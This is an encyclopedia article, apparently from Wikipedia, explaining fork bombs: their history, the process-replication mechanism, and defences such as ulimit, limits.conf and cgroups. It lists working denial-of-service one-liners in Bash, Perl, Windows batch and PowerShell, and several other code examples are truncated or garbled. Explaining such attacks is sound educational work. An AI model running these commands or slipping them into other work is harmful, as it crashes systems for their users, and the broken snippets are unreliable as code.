Fork bomb

In computing, a fork bomb (also called rabbit virus or wabbit[1]) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.


Around 1978, an early variant of a fork bomb called wabbit was reported to run on a System/360. It may have descended from a similar attack called RABBITS reported from 1969 on a Burroughs 5500 at the University of Washington.[1]


Fork bombs operate both by consuming CPU time in the process of forking, and by saturating the operating system's process table.[2][3] A basic implementation of a fork bomb is an infinite loop that repeatedly launches new copies of itself.

In Unix-like operating systems, fork bombs are generally written to use the fork system call.[3] As forked processes are also copies of the first program, once they resume execution from the next address at the frame pointer, they continue forking endlessly within their own copy of the same infinite loop; this has the effect of causing an exponential growth in processes. As modern Unix systems generally use a copy-on-write resource management technique when forking new processes,[4] a fork bomb generally will not saturate such a system's memory.

Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call;[5] a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Examples of fork bombs


fork while true


An inline shell example using the Perl interpreter:

perl -e "fork while fork" &


import os
while True:


#include <sys/types.h>
#include <unistd.h>

int main()
    return 0;


public class ForkBomb
    public static void main(String[] args)
        while (true)
            Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});


-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do

Assembly (Linux running on IA-32)

section .text
    global _start
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

Shell script

Here's an example in which a shell script is told to run two instances of $0$0 is a shell variable returning the name of the script itself ― and pipe the output of one through the other, which results in exponentially replicating processes.


A simpler way is to just run ./$0& twice:



In Bash, a fork bomb can be performed by declaring and calling a multiple-recursive function:

  bomb | bomb & 

Additionally, one of the most famous and commonly cited examples of a fork bomb is this dense one-line Bash command:

:(){ :|:& };:

This command is an obfuscated version of the above. The trick here is that : is used as a function name, which is possible because the colon is not a reserved character in Bash as it is in most other languages. Otherwise, it is identical.[6]

With Unicode support, it can similarly be rendered as:

💣(){ 💣|💣& };💣

Windows batch

 goto ForkBomb

The same as above, but shorter:

 %0 | %0

The same as above, but done in command line using ^ to escape specials:

echo  %0^|%0  >forkbomb.bat & forkbomb.bat

Condensed version designed to be run directly from the Run... prompt:

cmd /k echo -^|->-.bat&-


while ($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';


(f => f(f))(async f => f(f) && f(f));


As a fork bomb's mode of operation is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.[7] On PAM-enabled systems, this limit can also be set in /etc/security/limits.conf,[8] and on FreeBSD, the system administrator can put limits in /etc/login.conf.[9] The modern Linux systems also allow finer-grained fork bomb prevention through cgroups and PID controller.[10]

See also


  1. Raymond, Eric S. (October 1, 2004). "wabbit". The Jargon Lexicon. Retrieved October 15, 2013.
  2. Ye, Nong (2008). Secure Computer and Network Systems: Modeling, Analysis and Design. p. 16. ISBN 0470023244.
  3. Jielin, Dong (2007). Network Dictionary. p. 200. ISBN 1602670005.
  4. Dhamdhere, D. M. (2006). Operating Systems: A Concept-based Approach. p. 285. ISBN 0070611947.
  5. Hammond, Mark (2000). Python Programming On Win32: Help for Windows Programmers. p. 35. ISBN 1565926218.
  6. "Fork() Bomb - GeeksforGeeks". GeeksforGeeks. June 19, 2017. Retrieved June 27, 2018.
  7. Cooper, Mendel (2005). Advanced Bash Scripting Guide. pp. 305–306. ISBN 1430319305.
  8. Soyinka, Wale (2012). Linux Administration: A Beginners Guide. pp. 364–365. ISBN 0071767592.
  9. Lucas, Michael W. (2007). Absolute FreeBSD: The Complete Guide to FreeBSD. pp. 198–199. ISBN 1593271514.
  10. "Process Number Controller in Documentation/ as appeared in Linux kernel 5.3". October 8, 2019.
This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.